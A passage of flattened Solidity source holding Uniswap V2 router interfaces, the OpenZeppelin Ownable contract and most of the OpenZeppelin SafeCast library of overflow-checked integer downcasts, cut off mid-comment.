        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.

pragma solidity ^0.8.0;

/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */
library SafeCast {
    /**
     * @dev Returns the downcasted uint248 from uint256, reverting on
     * overflow (when the input is greater than largest uint248).
     *
     * Counterpart to Solidity's `uint248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toUint248(uint256 value) internal pure returns (uint248) {
        require(
            value <= type(uint248).max,
            "SafeCast: value doesn't fit in 248 bits"
        );
        return uint248(value);
    }

    /**
     * @dev Returns the downcasted uint240 from uint256, reverting on
     * overflow (when the input is greater than largest uint240).
     *
     * Counterpart to Solidity's `uint240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toUint240(uint256 value) internal pure returns (uint240) {
        require(
            value <= type(uint240).max,
            "SafeCast: value doesn't fit in 240 bits"
        );
        return uint240(value);
    }

    /**
     * @dev Returns the downcasted uint232 from uint256, reverting on
     * overflow (when the input is greater than largest uint232).
     *
     * Counterpart to Solidity's `uint232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toUint232(uint256 value) internal pure returns (uint232) {
        require(
            value <= type(uint232).max,
            "SafeCast: value doesn't fit in 232 bits"
        );
        return uint232(value);
    }

    /**
     * @dev Returns the downcasted uint224 from uint256, reverting on
     * overflow (when the input is greater than largest uint224).
     *
     * Counterpart to Solidity's `uint224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.2._
     */
    function toUint224(uint256 value) internal pure returns (uint224) {
        require(
            value <= type(uint224).max,
            "SafeCast: value doesn't fit in 224 bits"
        );
        return uint224(value);
    }

    /**
     * @dev Returns the downcasted uint216 from uint256, reverting on
     * overflow (when the input is greater than largest uint216).
     *
     * Counterpart to Solidity's `uint216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toUint216(uint256 value) internal pure returns (uint216) {
        require(
            value <= type(uint216).max,
            "SafeCast: value doesn't fit in 216 bits"
        );
        return uint216(value);
    }

    /**
     * @dev Returns the downcasted uint208 from uint256, reverting on
     * overflow (when the input is greater than largest uint208).
     *
     * Counterpart to Solidity's `uint208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toUint208(uint256 value) internal pure returns (uint208) {
        require(
            value <= type(uint208).max,
            "SafeCast: value doesn't fit in 208 bits"
        );
        return uint208(value);
    }

    /**
     * @dev Returns the downcasted uint200 from uint256, reverting on
     * overflow (when the input is greater than largest uint200).
     *
     * Counterpart to Solidity's `uint200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toUint200(uint256 value) internal pure returns (uint200) {
        require(
            value <= type(uint200).max,
            "SafeCast: value doesn't fit in 200 bits"
        );
        return uint200(value);
    }

    /**
     * @dev Returns the downcasted uint192 from uint256, reverting on
     * overflow (when the input is greater than largest uint192).
     *
     * Counterpart to Solidity's `uint192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toUint192(uint256 value) internal pure returns (uint192) {
        require(
            value <= type(uint192).max,
            "SafeCast: value doesn't fit in 192 bits"
        );
        return uint192(value);
    }

    /**
     * @dev Returns the downcasted uint184 from uint256, reverting on
     * overflow (when the input is greater than largest uint184).
     *
     * Counterpart to Solidity's `uint184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toUint184(uint256 value) internal pure returns (uint184) {
        require(
            value <= type(uint184).max,
            "SafeCast: value doesn't fit in 184 bits"
        );
        return uint184(value);
    }

    /**
     * @dev Returns the downcasted uint176 from uint256, reverting on
     * overflow (when the input is greater than largest uint176).
     *
     * Counterpart to Solidity's `uint176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toUint176(uint256 value) internal pure returns (uint176) {
        require(
            value <= type(uint176).max,
            "SafeCast: value doesn't fit in 176 bits"
        );
        return uint176(value);
    }

    /**
     * @dev Returns the downcasted uint168 from uint256, reverting on
     * overflow (when the input is greater than largest uint168).
     *
     * Counterpart to Solidity's `uint168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toUint168(uint256 value) internal pure returns (uint168) {
        require(
            value <= type(uint168).max,
            "SafeCast: value doesn't fit in 168 bits"
        );
        return uint168(value);
    }

    /**
     * @dev Returns the downcasted uint160 from uint256, reverting on
     * overflow (when the input is greater than largest uint160).
     *
     * Counterpart to Solidity's `uint160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toUint160(uint256 value) internal pure returns (uint160) {
        require(
            value <= type(uint160).max,
            "SafeCast: value doesn't fit in 160 bits"
        );
        return uint160(value);
    }

    /**
     * @dev Returns the downcasted uint152 from uint256, reverting on
     * overflow (when the input is greater than largest uint152).
     *
     * Counterpart to Solidity's `uint152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toUint152(uint256 value) internal pure returns (uint152) {
        require(
            value <= type(uint152).max,
            "SafeCast: value doesn't fit in 152 bits"
        );
        return uint152(value);
    }

    /**
     * @dev Returns the downcasted uint144 from uint256, reverting on
     * overflow (when the input is greater than largest uint144).
     *
     * Counterpart to Solidity's `uint144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toUint144(uint256 value) internal pure returns (uint144) {
        require(
            value <= type(uint144).max,
            "SafeCast: value doesn't fit in 144 bits"
        );
        return uint144(value);
    }

    /**
     * @dev Returns the downcasted uint136 from uint256, reverting on
     * overflow (when the input is greater than largest uint136).
     *
     * Counterpart to Solidity's `uint136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toUint136(uint256 value) internal pure returns (uint136) {
        require(
            value <= type(uint136).max,
            "SafeCast: value doesn't fit in 136 bits"
        );
        return uint136(value);
    }

    /**
     * @dev Returns the downcasted uint128 from uint256, reverting on
     * overflow (when the input is greater than largest uint128).
     *
     * Counterpart to Solidity's `uint128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v2.5._
     */
    function toUint128(uint256 value) internal pure returns (uint128) {
        require(
            value <= type(uint128).max,
            "SafeCast: value doesn't fit in 128 bits"
        );
        return uint128(value);
    }

    /**
     * @dev Returns the downcasted uint120 from uint256, reverting on
     * overflow (when the input is greater than largest uint120).
     *
     * Counterpart to Solidity's `uint120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toUint120(uint256 value) internal pure returns (uint120) {
        require(
            value <= type(uint120).max,
            "SafeCast: value doesn't fit in 120 bits"
        );
        return uint120(value);
    }

    /**
     * @dev Returns the downcasted uint112 from uint256, reverting on
     * overflow (when the input is greater than largest uint112).
     *
     * Counterpart to Solidity's `uint112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toUint112(uint256 value) internal pure returns (uint112) {
        require(
            value <= type(uint112).max,
            "SafeCast: value doesn't fit in 112 bits"
        );
        return uint112(value);
    }

    /**
     * @dev Returns the downcasted uint104 from uint256, reverting on
     * overflow (when the input is greater than largest uint104).
     *
     * Counterpart to Solidity's `uint104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toUint104(uint256 value) internal pure returns (uint104) {
        require(
            value <= type(uint104).max,
            "SafeCast: value doesn't fit in 104 bits"
        );
        return uint104(value);
    }

    /**
     * @dev Returns the downcasted uint96 from uint256, reverting on
     * overflow (when the input is greater than largest uint96).
     *
     * Counterpart to Solidity's `uint96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.2._
     */
    function toUint96(uint256 value) internal pure returns (uint96) {
        require(
            value <= type(uint96).max,
            "SafeCast: value doesn't fit in 96 bits"
        );
        return uint96(value);
    }

    /**
     * @dev Returns the downcasted uint88 from uint256, reverting on
     * overflow (when the input is greater than largest uint88).
     *
     * Counterpart to Solidity's `uint88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toUint88(uint256 value) internal pure returns (uint88) {
        require(
            value <= type(uint88).max,
            "SafeCast: value doesn't fit in 88 bits"
        );
        return uint88(value);
    }

    /**
     * @dev Returns the downcasted uint80 from uint256, reverting on
     * overflow (when the input is greater than largest uint80).
     *
     * Counterpart to Solidity's `uint80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toUint80(uint256 value) internal pure returns (uint80) {
        require(
            value <= type(uint80).max,
            "SafeCast: value doesn't fit in 80 bits"
        );
        return uint80(value);
    }

    /**
     * @dev Returns the downcasted uint72 from uint256, reverting on
     * overflow (when the input is greater than largest uint72).
     *
     * Counterpart to Solidity's `uint72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toUint72(uint256 value) internal pure returns (uint72) {
        require(
            value <= type(uint72).max,
            "SafeCast: value doesn't fit in 72 bits"
        );
        return uint72(value);
    }

    /**
     * @dev Returns the downcasted uint64 from uint256, reverting on
     * overflow (when the input is greater than largest uint64).
     *
     * Counterpart to Solidity's `uint64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v2.5._
     */
    function toUint64(uint256 value) internal pure returns (uint64) {
        require(
            value <= type(uint64).max,
            "SafeCast: value doesn't fit in 64 bits"
        );
        return uint64(value);
    }

    /**
     * @dev Returns the downcasted uint56 from uint256, reverting on
     * overflow (when the input is greater than largest uint56).
     *
     * Counterpart to Solidity's `uint56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toUint56(uint256 value) internal pure returns (uint56) {
        require(
            value <= type(uint56).max,
            "SafeCast: value doesn't fit in 56 bits"
        );
        return uint56(value);
    }

    /**
     * @dev Returns the downcasted uint48 from uint256, reverting on
     * overflow (when the input is greater than largest uint48).
     *
     * Counterpart to Solidity's `uint48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toUint48(uint256 value) internal pure returns (uint48) {
        require(
            value <= type(uint48).max,
            "SafeCast: value doesn't fit in 48 bits"
        );
        return uint48(value);
    }

    /**
     * @dev Returns the downcasted uint40 from uint256, reverting on
     * overflow (when the input is greater than largest uint40).
     *
     * Counterpart to Solidity's `uint40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toUint40(uint256 value) internal pure returns (uint40) {
        require(
            value <= type(uint40).max,
            "SafeCast: value doesn't fit in 40 bits"
        );
        return uint40(value);
    }

    /**
     * @dev Returns the downcasted uint32 from uint256, reverting on
     * overflow (when the input is greater than largest uint32).
     *
     * Counterpart to Solidity's `uint32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v2.5._
     */
    function toUint32(uint256 value) internal pure returns (uint32) {
        require(
            value <= type(uint32).max,
            "SafeCast: value doesn't fit in 32 bits"
        );
        return uint32(value);
    }

    /**
     * @dev Returns the downcasted uint24 from uint256, reverting on
     * overflow (when the input is greater than largest uint24).
     *
     * Counterpart to Solidity's `uint24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toUint24(uint256 value) internal pure returns (uint24) {
        require(
            value <= type(uint24).max,
            "SafeCast: value doesn't fit in 24 bits"
        );
        return uint24(value);
    }

    /**
     * @dev Returns the downcasted uint16 from uint256, reverting on
     * overflow (when the input is greater than largest uint16).
     *
     * Counterpart to Solidity's `uint16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v2.5._
     */
    function toUint16(uint256 value) internal pure returns (uint16) {
        require(
            value <= type(uint16).max,
            "SafeCast: value doesn't fit in 16 bits"
        );
        return uint16(value);
    }

    /**
     * @dev Returns the downcasted uint8 from uint256, reverting on
     * overflow (when the input is greater than largest uint8).
     *
     * Counterpart to Solidity's `uint8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v2.5._
     */
    function toUint8(uint256 value) internal pure returns (uint8) {
        require(
            value <= type(uint8).max,
            "SafeCast: value doesn't fit in 8 bits"
        );
        return uint8(value);
    }

    /**
     * @dev Converts a signed int256 into an unsigned uint256.
     *
     * Requirements:
     *
     * - input must be greater than or equal to 0.
     *
     * _Available since v3.0._
     */
    function toUint256(int256 value) internal pure returns (uint256) {
        require(value >= 0, "SafeCast: value must be positive");
        return uint256(value);
    }

    /**
     * @dev Returns the downcasted int248 from int256, reverting on
     * overflow (when the input is less than smallest int248 or
     * greater than largest int248).
     *
     * Counterpart to Solidity's `int248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toInt248(int256 value) internal pure returns (int248 downcasted) {
        downcasted = int248(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
    }

    /**
     * @dev Returns the downcasted int240 from int256, reverting on
     * overflow (when the input is less than smallest int240 or
     * greater than largest int240).
     *
     * Counterpart to Solidity's `int240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toInt240(int256 value) internal pure returns (int240 downcasted) {
        downcasted = int240(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
    }

    /**
     * @dev Returns the downcasted int232 from int256, reverting on
     * overflow (when the input is less than smallest int232 or
     * greater than largest int232).
     *
     * Counterpart to Solidity's `int232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toInt232(int256 value) internal pure returns (int232 downcasted) {
        downcasted = int232(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
    }

    /**
     * @dev Returns the downcasted int224 from int256, reverting on
     * overflow (when the input is less than smallest int224 or
     * greater than largest int224).
     *
     * Counterpart to Solidity's `int224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.7._
     */
    function toInt224(int256 value) internal pure returns (int224 downcasted) {
        downcasted = int224(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
    }

    /**
     * @dev Returns the downcasted int216 from int256, reverting on
     * overflow (when the input is less than smallest int216 or
     * greater than largest int216).
     *
     * Counterpart to Solidity's `int216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toInt216(int256 value) internal pure returns (int216 downcasted) {
        downcasted = int216(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
    }

    /**
     * @dev Returns the downcasted int208 from int256, reverting on
     * overflow (when the input is less than smallest int208 or
     * greater than largest int208).
     *
     * Counterpart to Solidity's `int208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toInt208(int256 value) internal pure returns (int208 downcasted) {
        downcasted = int208(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
    }

    /**
     * @dev Returns the downcasted int200 from int256, reverting on
     * overflow (when the input is less than smallest int200 or
     * greater than largest int200).
     *
     * Counterpart to Solidity's `int200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toInt200(int256 value) internal pure returns (int200 downcasted) {
        downcasted = int200(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
    }

    /**
     * @dev Returns the downcasted int192 from int256, reverting on
     * overflow (when the input is less than smallest int192 or
     * greater than largest int192).
     *
     * Counterpart to Solidity's `int192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toInt192(int256 value) internal pure returns (int192 downcasted) {
        downcasted = int192(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
    }

    /**
     * @dev Returns the downcasted int184 from int256, reverting on
     * overflow (when the input is less than smallest int184 or
     * greater than largest int184).
     *
     * Counterpart to Solidity's `int184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toInt184(int256 value) internal pure returns (int184 downcasted) {
        downcasted = int184(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
    }

    /**
     * @dev Returns the downcasted int176 from int256, reverting on
     * overflow (when the input is less than smallest int176 or
     * greater than largest int176).
     *
     * Counterpart to Solidity's `int176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toInt176(int256 value) internal pure returns (int176 downcasted) {
        downcasted = int176(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
    }

    /**
     * @dev Returns the downcasted int168 from int256, reverting on
     * overflow (when the input is less than smallest int168 or
     * greater than largest int168).
     *
     * Counterpart to Solidity's `int168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toInt168(int256 value) internal pure returns (int168 downcasted) {
        downcasted = int168(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
    }

    /**
     * @dev Returns the downcasted int160 from int256, reverting on
     * overflow (when the input is less than smallest int160 or
     * greater than largest int160).
     *
     * Counterpart to Solidity's `int160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toInt160(int256 value) internal pure returns (int160 downcasted) {
        downcasted = int160(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
    }

    /**
     * @dev Returns the downcasted int152 from int256, reverting on
     * overflow (when the input is less than smallest int152 or
     * greater than largest int152).
     *
     * Counterpart to Solidity's `int152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toInt152(int256 value) internal pure returns (int152 downcasted) {
        downcasted = int152(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
    }

    /**
     * @dev Returns the downcasted int144 from int256, reverting on
     * overflow (when the input is less than smallest int144 or
     * greater than largest int144).
     *
     * Counterpart to Solidity's `int144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toInt144(int256 value) internal pure returns (int144 downcasted) {
        downcasted = int144(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
    }

    /**
     * @dev Returns the downcasted int136 from int256, reverting on
     * overflow (when the input is less than smallest int136 or
     * greater than largest int136).
     *
     * Counterpart to Solidity's `int136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toInt136(int256 value) internal pure returns (int136 downcasted) {
        downcasted = int136(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
    }

    /**
     * @dev Returns the downcasted int128 from int256, reverting on
     * overflow (when the input is less than smallest int128 or
     * greater than largest int128).
     *
     * Counterpart to Solidity's `int128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v3.1._
     */
    function toInt128(int256 value) internal pure returns (int128 downcasted) {
        downcasted = int128(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
    }

    /**
     * @dev Returns the downcasted int120 from int256, reverting on
     * overflow (when the input is less than smallest int120 or
     * greater than largest int120).
     *
     * Counterpart to Solidity's `int120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toInt120(int256 value) internal pure returns (int120 downcasted) {
        downcasted = int120(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
    }

    /**
     * @dev Returns the downcasted int112 from int256, reverting on
     * overflow (when the input is less than smallest int112 or
     * greater than largest int112).
     *
     * Counterpart to Solidity's `int112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toInt112(int256 value) internal pure returns (int112 downcasted) {
        downcasted = int112(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
    }

    /**
     * @dev Returns the downcasted int104 from int256, reverting on
     * overflow (when the input is less than smallest int104 or
     * greater than largest int104).
     *
     * Counterpart to Solidity's `int104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toInt104(int256 value) internal pure returns (int104 downcasted) {
        downcasted = int104(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
    }

    /**
     * @dev Returns the downcasted int96 from int256, reverting on
     * overflow (when the input is less than smallest int96 or
     * greater than largest int96).
     *
     * Counterpart to Solidity's `int96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.7._
     */
    function toInt96(int256 value) internal pure returns (int96 downcasted) {
        downcasted = int96(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
    }

    /**
     * @dev Returns the downcasted int88 from int256, reverting on
     * overflow (when the input is less than smallest int88 or
     * greater than largest int88).
     *
     * Counterpart to Solidity's `int88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toInt88(int256 value) internal pure returns (int88 downcasted) {
        downcasted = int88(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
    }

    /**
     * @dev Returns the downcasted int80 from int256, reverting on
     * overflow (when the input is less than smallest int80 or
     * greater than largest int80).
     *
     * Counterpart to Solidity's `int80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toInt80(int256 value) internal pure returns (int80 downcasted) {
        downcasted = int80(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
    }

    /**
     * @dev Returns the downcasted int72 from int256, reverting on
     * overflow (when the input is less than smallest int72 or
     * greater than largest int72).
     *
     * Counterpart to Solidity's `int72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toInt72(int256 value) internal pure returns (int72 downcasted) {
        downcasted = int72(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
    }

    /**
     * @dev Returns the downcasted int64 from int256, reverting on
     * overflow (when the input is less than smallest int64 or
     * greater than largest int64).
     *
     * Counterpart to Solidity's `int64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v3.1._
     */
    function toInt64(int256 value) internal pure returns (int64 downcasted) {
        downcasted = int64(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
    }

    /**
     * @dev Returns the downcasted int56 from int256, reverting on
     * overflow (when the input is less than smallest int56 or
     * greater than largest int56).
     *
     * Counterpart to Solidity's `int56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toInt56(int256 value) internal pure returns (int56 downcasted) {
        downcasted = int56(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
    }

    /**
     * @dev Returns the downcasted int48 from int256, reverting on
     * overflow (when the input is less than smallest int48 or
     * greater than largest int48).
     *
     * Counterpart to Solidity's `int48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toInt48(int256 value) internal pure returns (int48 downcasted) {
        downcasted = int48(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
    }

    /**
     * @dev Returns the downcasted int40 from int256, reverting on
     * overflow (when the input is less than smallest int40 or
     * greater than largest int40).
     *
     * Counterpart to Solidity's `int40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toInt40(int256 value) internal pure returns (int40 downcasted) {
        downcasted = int40(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
    }

    /**
     * @dev Returns the downcasted int32 from int256, reverting on
     * overflow (when the input is less than smallest int32 or
     * greater than largest int32).
     *
     * Counterpart to Solidity's `int32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v3.1._
     */
    function toInt32(int256 value) internal pure returns (int32 downcasted) {
        downcasted = int32(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
    }

    /**
     * @dev Returns the downcasted int24 from int256, reverting on
     * overflow (when the input is less than smallest int24 or
     * greater than largest int24).
     *
     * Counterpart to Solidity's `int24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toInt24(int256 value) internal pure returns (int24 downcasted) {
        downcasted = int24(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
    }

    /**
     * @dev Returns the downcasted int16 from int256, reverting on
     * overflow (when the input is less than smallest int16 or
     * greater than largest int16).
     *
     * Counterpart to Solidity's `int16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v3.1._
     */
    function toInt16(int256 value) internal pure returns (int16 downcasted) {
        downcasted = int16(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
    }

    /**
